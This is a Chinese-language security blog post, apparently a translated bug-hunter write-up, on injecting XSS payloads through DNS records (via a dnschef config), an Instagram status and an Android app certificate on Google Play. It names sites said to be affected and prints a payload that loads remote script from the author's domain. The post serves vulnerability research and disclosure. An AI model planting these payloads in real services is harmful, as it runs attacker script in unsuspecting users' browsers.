1. 程式人生 > 其它 >我們要在任何可能的地方測試XSS漏洞

我們要在任何可能的地方測試XSS漏洞

在這篇文章中,我準備跟大家討論幾種不同的場景,在這些場景中,不同的服務都會收集各種各樣的資料,但它們又無法正確地去處理這些資料。在某些情況下,資料採用的是安全格式儲存和傳輸的,但是由於資料的解析操作以及進一步處理的過程中存在安全問題,將導致無害的字串變成攻擊向量。

XSS和DNS

如果你在搜尋引擎中搜索“通過DNS實現XSS”(XSS via DNS)的相關話題,你將會看到類似【參考資料一】和【參考資料二】這種介紹如何在TXT記錄中傳遞XSS攻擊向量的文章。但是為什麼沒有人考慮過其他型別的記錄呢?比如說CNAME或NS之類的。因為如果你想把域名作為一個攻擊向量的話,你還需要建立自己的NS伺服器。

也許使用DNSCHEF會是一個好主意。

我使用的子域名是hack.bo0om.ru(任何子域名都可以),並且將我的IP設定成了該域名的NS伺服器。接下來修改dnschef.ini並完成dnschef的配置,新增下列記錄:

[MX] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>[NS] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>[CNAME]*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>

如果某個線上服務得到了DNS資料之後還將它們列印在了螢幕上,只能說明該服務忘記過濾掉這些資料了。

下面是一些存在XSS漏洞的例子:

· who.is · robtex.com · dnsqueries.com · etc

XSS和Instagram

有一次我只是為了好玩,然後將一段XSS Payload新增到了我Instagram的個人狀態中。一開始沒發生什麼有趣的事,而且這個XSS Payload也是沒有攻擊性的。

但是之後我發現,這個XSS Payload竟然在另外的域名和線上服務中起作用了,從我的Web伺服器日誌記錄來看,這些域名貌似指向的是社交網路解析器和一些分析服務。下面給出的是其中部分示例:

· findgram.me · imgrab.com · instagy.com · iconosquare.com · tofo.me · photo.sh · gramosphere.com

不過其中有一部分已經修復了這個漏洞。

XSS和Google Play

最近,@Black2Fan給我發了一條資訊,並問我能不能夠在Google Play應用商店上傳存在XSS漏洞的Android App。我當時都不知道竟然還有這種操作!但我感覺可行。於是我自己弄了一個App,然後為這個App生成了一個證書,並將其中的開發者名稱和其他資料用XSS向量進行了替換。

我用一些包含惡意程式碼的檔案以及檔案路徑組成了一個有效的頁面標籤,並從我自己的域名載入相應的指令碼檔案。

注:Linux系統支援在檔名中使用特殊字元。

雖然我們可以在檔名中注入自己的指令碼程式碼,但壞訊息是這裡有30個字元的限制。不幸的是,我手上可以使用的域名都有點長,而且那些只有一個或兩個字元的域名估計都已經被註冊掉了。但是在現代Web中,你可以使用punycode編碼來註冊域名,而且現在還有很多免費的punycode域名沒有被註冊。比如說xn—g3h。所以我註冊了一個.ws域名(請參考下圖,有個符號這裡打不出來,包括點號在內一共四個字元)。

這個App目前仍然可以在Google Play應用商店中找到【傳送門】,但是它隨時可能被刪掉。

而且更加有趣的是,當我將這個App上傳到VirusTotal之後,其中的XSS向量竟然觸發了反病毒產品Web端面板中的漏洞。哈哈哈…而且除了VirusTotla之外,還有兩家天朝的安全廠商也存在這種問題,但這裡我就不直接提他們的名字了。

總結

作為一個Bug Hunter,雖然我這一次的發現沒能拿到漏洞獎金,但希望可以給大家提供一種新的挖洞思路,其實我也只是為了好玩而已:D不喜勿噴